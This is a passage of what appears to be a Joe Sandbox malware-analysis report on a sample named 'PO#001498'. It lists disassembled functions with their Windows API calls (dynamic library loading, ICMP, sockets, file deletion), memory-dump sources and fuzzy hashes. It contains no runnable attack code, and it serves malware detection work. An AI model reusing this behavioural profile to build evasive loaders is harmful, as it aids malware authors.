                                                                                                                                                                                                        • Instruction Fuzzy Hash: DCE065736442225B97506A79AC045CBA7D8AFB0370B15482BF880E7310E278E89643E5
                                                                                                                                                                                                        Function 0043416A Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • LoadLibraryA.KERNEL32(kernel32.dll), ref: 0043417A
                                                                                                                                                                                                        • GetProcAddress.KERNEL32(00000000,GetSystemWow64DirectoryW), ref: 0043418C
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: AddressLibraryLoadProc
                                                                                                                                                                                                        • String ID: GetSystemWow64DirectoryW$kernel32.dll
                                                                                                                                                                                                        • API String ID: 2574300362-1816364905
                                                                                                                                                                                                        • Opcode ID: 58df7aafb5ba6d6c6a2aff3317d08040102bec91f6a73b36e13bbbd5fede489a
                                                                                                                                                                                                        • Instruction ID: 1a9860a365f0c849ce8c10f1c40c5c80f9dda93506fd3415c38c98a37cde1a5a
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 58df7aafb5ba6d6c6a2aff3317d08040102bec91f6a73b36e13bbbd5fede489a
                                                                                                                                                                                                        • Instruction Fuzzy Hash: F9D05EB1440B039FCB109FA0D80C64BB6E4AB64301F148C2EF885B2654D7B8E8C0CBA8
                                                                                                                                                                                                        Function 004343CE Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • LoadLibraryA.KERNEL32(ICMP.DLL,?,00434466,?,?,00464B68,?,?,?,?,?,00000000,?,?,00000101,?), ref: 004343DE
                                                                                                                                                                                                        • GetProcAddress.KERNEL32(00000000,IcmpSendEcho), ref: 004343F0
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: AddressLibraryLoadProc
                                                                                                                                                                                                        • String ID: ICMP.DLL$IcmpSendEcho
                                                                                                                                                                                                        • API String ID: 2574300362-58917771
                                                                                                                                                                                                        • Opcode ID: 4b46215cfc07257f28131f0af9bcf44c57d27cd5d24dcd7dc697cbf0f45d51b4
                                                                                                                                                                                                        • Instruction ID: bde82dd314f67bb94adb8237e566b22d9cd50c1f3059090bebd97951f1ce1dc3
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 4b46215cfc07257f28131f0af9bcf44c57d27cd5d24dcd7dc697cbf0f45d51b4
                                                                                                                                                                                                        • Instruction Fuzzy Hash: C9D017B45043039BD7105B21D80874A76E4AF58310F118C2FF881E2250CBBCE8808B79
                                                                                                                                                                                                        Function 004343FD Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • LoadLibraryA.KERNEL32(ICMP.DLL,?,0043447D,?,?,00464B56,?,?,?,?,00000000,?,?,00000101,?,?), ref: 0043440D
                                                                                                                                                                                                        • GetProcAddress.KERNEL32(00000000,IcmpCloseHandle), ref: 0043441F
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: AddressLibraryLoadProc
                                                                                                                                                                                                        • String ID: ICMP.DLL$IcmpCloseHandle
                                                                                                                                                                                                        • API String ID: 2574300362-3530519716
                                                                                                                                                                                                        • Opcode ID: 42f9b5773da98e9266fb1162e4ae0909fe6bfc7ac22b46aa183d999fe3c035a4
                                                                                                                                                                                                        • Instruction ID: 815a2f2ef77883dfca24b23846b24e776c3b140ddfaf16f0983d17b56328066b
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 42f9b5773da98e9266fb1162e4ae0909fe6bfc7ac22b46aa183d999fe3c035a4
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 9FD017B04443129AD7106B64D80874A76E4AB68302F129C3FF881A2660C7BCA8808B39
                                                                                                                                                                                                        Function 0043442C Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • LoadLibraryA.KERNEL32(ICMP.DLL,?,00434494,?,?,00464A94,?), ref: 0043443C
                                                                                                                                                                                                        • GetProcAddress.KERNEL32(00000000,IcmpCreateFile), ref: 0043444E
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: AddressLibraryLoadProc
                                                                                                                                                                                                        • String ID: ICMP.DLL$IcmpCreateFile
                                                                                                                                                                                                        • API String ID: 2574300362-275556492
                                                                                                                                                                                                        • Opcode ID: aa837af65d1bad252c0530eb36f48db089182c3e5c3795977f5f1506c5c05052
                                                                                                                                                                                                        • Instruction ID: c247b13c068300da1972229949477068df6ba5342f41feac8fae2a533bc96115
                                                                                                                                                                                                        • Opcode Fuzzy Hash: aa837af65d1bad252c0530eb36f48db089182c3e5c3795977f5f1506c5c05052
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 97D017B04043029ADB105B60D90875A77E4AB68300F118C7FF9A1A2250C7BCA8808B29
                                                                                                                                                                                                        Function 0040EE70 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryloaderCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • LoadLibraryA.KERNEL32(kernel32.dll,0040E551,?), ref: 0040EE7B
                                                                                                                                                                                                        • GetProcAddress.KERNEL32(00000000,IsWow64Process), ref: 0040EE8D
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: AddressLibraryLoadProc
                                                                                                                                                                                                        • String ID: IsWow64Process$kernel32.dll
                                                                                                                                                                                                        • API String ID: 2574300362-3024904723
                                                                                                                                                                                                        • Opcode ID: 16a412f97595c511ed2c9e877c1bae7dd0f808d0cf5b3a9fdd28adcf59ee176d
                                                                                                                                                                                                        • Instruction ID: 75875fa2f3f8b89ed4c8cde0d061cde3839b728dd3838c322d7dfd2ddbff31fa
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 16a412f97595c511ed2c9e877c1bae7dd0f808d0cf5b3a9fdd28adcf59ee176d
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 51D0C9B0940707DAC7301F72C91871B7AE4AB40342F204C3EB995A1290DBBCC0408B28
                                                                                                                                                                                                        Function 0040ACA0 Relevance: 6.4, APIs: 4, Instructions: 368COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: ClearVariant
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 1473721057-0
                                                                                                                                                                                                        • Opcode ID: d2d12c55b876e5fa1efbcf51686f09b2c55b87fd727dd21d929d390e382c4fef
                                                                                                                                                                                                        • Instruction ID: 4e1e522645e86f73b8885f2d86dba7d443b77ce6b8f7ad4508257b27d10f8221
                                                                                                                                                                                                        • Opcode Fuzzy Hash: d2d12c55b876e5fa1efbcf51686f09b2c55b87fd727dd21d929d390e382c4fef
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 3DD18D746003018FD724DF25D484A26B7E1EF49704F64887EE9899B3A1D739EC92CB9A
                                                                                                                                                                                                        Function 0041456C Relevance: 6.1, APIs: 4, Instructions: 137COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • __flush.LIBCMT ref: 00414630
                                                                                                                                                                                                        • __fileno.LIBCMT ref: 00414650
                                                                                                                                                                                                        • __locking.LIBCMT ref: 00414657
                                                                                                                                                                                                        • __flsbuf.LIBCMT ref: 00414682
                                                                                                                                                                                                          • Part of subcall function 00417F23: __getptd_noexit.LIBCMT ref: 00417F23
                                                                                                                                                                                                          • Part of subcall function 00417EBB: __decode_pointer.LIBCMT ref: 00417EC6
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: __decode_pointer__fileno__flsbuf__flush__getptd_noexit__locking
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 3240763771-0
                                                                                                                                                                                                        • Opcode ID: da881668a639e25d03d88a6d97948a76b4f19f87a827f6f9fc91a47de182ffa5
                                                                                                                                                                                                        • Instruction ID: ec1a4dff6c5341ad57a53ba98b0f539b864df2cc4a0ba96fecd891c5d8a4160d
                                                                                                                                                                                                        • Opcode Fuzzy Hash: da881668a639e25d03d88a6d97948a76b4f19f87a827f6f9fc91a47de182ffa5
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 4841A571A00605ABDB249FA5C9445DFB7B6EFC1328F28852FE41997280D77CDEC18B48
                                                                                                                                                                                                        Function 004781AE Relevance: 6.1, APIs: 4, Instructions: 135COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • GetLastError.KERNEL32(?,?,?,?,?,?,?,?,00000001,00000000,NULL Pointer assignment,00000001), ref: 00478201
                                                                                                                                                                                                        • VariantCopy.OLEAUT32(?,?), ref: 00478259
                                                                                                                                                                                                        • VariantCopy.OLEAUT32(-00000058,?), ref: 00478270
                                                                                                                                                                                                        • VariantCopy.OLEAUT32(-00000078,?), ref: 00478287
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: CopyVariant$ErrorLast
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 2286883814-0
                                                                                                                                                                                                        • Opcode ID: 5518b7b53ef3ca50261af568c513a59c65815d8cf0fffae25230fe941ba47538
                                                                                                                                                                                                        • Instruction ID: 2d87100fc18953c9afe9b7e879878e48daa4ef19e0256d9a4550ae3fa38499cf
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 5518b7b53ef3ca50261af568c513a59c65815d8cf0fffae25230fe941ba47538
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 5F517C751543409FC310DF69C880A9BBBE4FF88314F448A6EF9499B352DB39E909CB99
                                                                                                                                                                                                        Function 0047404B Relevance: 6.1, APIs: 4, Instructions: 133networkCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • socket.WSOCK32(00000002,00000002,00000011), ref: 00474068
                                                                                                                                                                                                        • WSAGetLastError.WSOCK32(00000000,00000002,00000002,00000011), ref: 00474076
                                                                                                                                                                                                        • #21.WSOCK32 ref: 004740E0
                                                                                                                                                                                                        • WSAGetLastError.WSOCK32(00000000), ref: 004740EB
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: ErrorLast$socket
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 1881357543-0
                                                                                                                                                                                                        • Opcode ID: 49e735c62c31738b54d4bbc911449ab864d290153f15be7477df25c465b7d9f8
                                                                                                                                                                                                        • Instruction ID: ff1742a21ceaee7448286ece46cbaad1fa76dded649dcd1b12ff87c083dae87e
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 49e735c62c31738b54d4bbc911449ab864d290153f15be7477df25c465b7d9f8
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 7641D9717403006AE720BF6ADC47F5672C89B54B18F14496EF648BF2C3D6FAA881869C
                                                                                                                                                                                                        Function 00441CB4 Relevance: 6.1, APIs: 4, Instructions: 112windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • ClientToScreen.USER32(00000000,?), ref: 00441CDE
                                                                                                                                                                                                        • GetWindowRect.USER32(?,?), ref: 00441D5A
                                                                                                                                                                                                        • PtInRect.USER32(?,?,?), ref: 00441D6F
                                                                                                                                                                                                        • MessageBeep.USER32(00000000), ref: 00441DF2
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Rect$BeepClientMessageScreenWindow
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 1352109105-0
                                                                                                                                                                                                        • Opcode ID: f335056d542ece3fcaf1afd85692f97af485635a3f9ffa8235448c3f06d12885
                                                                                                                                                                                                        • Instruction ID: 11ad13a84751b34e4f8a983c71a6a29643224e7bbeba0240db3aabd8edeb2108
                                                                                                                                                                                                        • Opcode Fuzzy Hash: f335056d542ece3fcaf1afd85692f97af485635a3f9ffa8235448c3f06d12885
                                                                                                                                                                                                        • Instruction Fuzzy Hash: E64192B5A042418FE710DF18D884AABB7E5FFC9311F18866FE8518B360D734AC85CBA5
                                                                                                                                                                                                        Function 0042384A Relevance: 6.1, APIs: 4, Instructions: 103COMMONLIBRARYCODE
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • _LocaleUpdate::_LocaleUpdate.LIBCMT ref: 0042387E
                                                                                                                                                                                                        • __isleadbyte_l.LIBCMT ref: 004238B2
                                                                                                                                                                                                        • MultiByteToWideChar.KERNEL32(?,00000009,00000002,?,00000000,00000000,?,?,?,00000000,00000002,00000000), ref: 004238E3
                                                                                                                                                                                                        • MultiByteToWideChar.KERNEL32(?,00000009,00000002,00000001,00000000,00000000,?,?,?,00000000,00000002,00000000), ref: 00423951
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 3058430110-0
                                                                                                                                                                                                        • Opcode ID: f131ee11c0d220cb2dc6b3da44158834730645c68ebbd2a61d5b0c3ed448205f
                                                                                                                                                                                                        • Instruction ID: 550681b3841f0f34ee613cb5364b25607849a03987ccfca5eaaec14299199b49
                                                                                                                                                                                                        • Opcode Fuzzy Hash: f131ee11c0d220cb2dc6b3da44158834730645c68ebbd2a61d5b0c3ed448205f
                                                                                                                                                                                                        • Instruction Fuzzy Hash: A931C270B00265EFDB20EF64D8849AA7BF5EF01312B9445AAF0A09F291D338CE81CB55
                                                                                                                                                                                                        Function 0045D070 Relevance: 6.1, APIs: 4, Instructions: 100fileCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • CreateHardLinkW.KERNEL32(00000000,?,00000000,?,00000000), ref: 0045D10A
                                                                                                                                                                                                        • GetLastError.KERNEL32(?,00000000), ref: 0045D12B
                                                                                                                                                                                                        • DeleteFileW.KERNEL32(00000000,?), ref: 0045D14C
                                                                                                                                                                                                        • CreateHardLinkW.KERNEL32(00000000,?,00000000,00000000,00000000), ref: 0045D16A
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: CreateHardLink$DeleteErrorFileLast
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 3321077145-0
                                                                                                                                                                                                        • Opcode ID: 7cd5f2a63614e36a101d3a24e32b13d83311d412b7f68151a30e37c1c693f1dc
                                                                                                                                                                                                        • Instruction ID: 240381fd0e223f31e6bb83dc4f900fe278965bce5f9bbaa9f824fb1079ab41c9
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 7cd5f2a63614e36a101d3a24e32b13d83311d412b7f68151a30e37c1c693f1dc
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 393180B5900301ABCB10AF71C985A1BF7E8AF84755F10891EF85497392C739FC45CB68
                                                                                                                                                                                                        Function 0045058D Relevance: 6.1, APIs: 4, Instructions: 98COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • GetParent.USER32(?), ref: 004505BF
                                                                                                                                                                                                        • DefDlgProcW.USER32(?,00000138,?,?,004A83D8,?,004A83D8,?), ref: 00450610
                                                                                                                                                                                                        • DefDlgProcW.USER32(?,00000133,?,?,004A83D8,?,004A83D8,?), ref: 0045065A
                                                                                                                                                                                                        • DefDlgProcW.USER32(?,00000134,?,?,004A83D8,?,004A83D8,?), ref: 00450688
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Proc$Parent
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 2351499541-0
                                                                                                                                                                                                        • Opcode ID: 93bb19dea30658450b5dada9832e261aba4ffbe4fc891123e7e77a8d6405a749
                                                                                                                                                                                                        • Instruction ID: e3e31f905615dd8bfbe674c7a91f48f64006a8638b4dc9b760805e547d05c650
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 93bb19dea30658450b5dada9832e261aba4ffbe4fc891123e7e77a8d6405a749
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 8C3128362411006BC2209B299C58DBB7B58EBC7336F14465BFA54832D3CB769826C768
                                                                                                                                                                                                        Function 004613E0 Relevance: 6.1, APIs: 4, Instructions: 90windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                          • Part of subcall function 00438C85: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00438C95
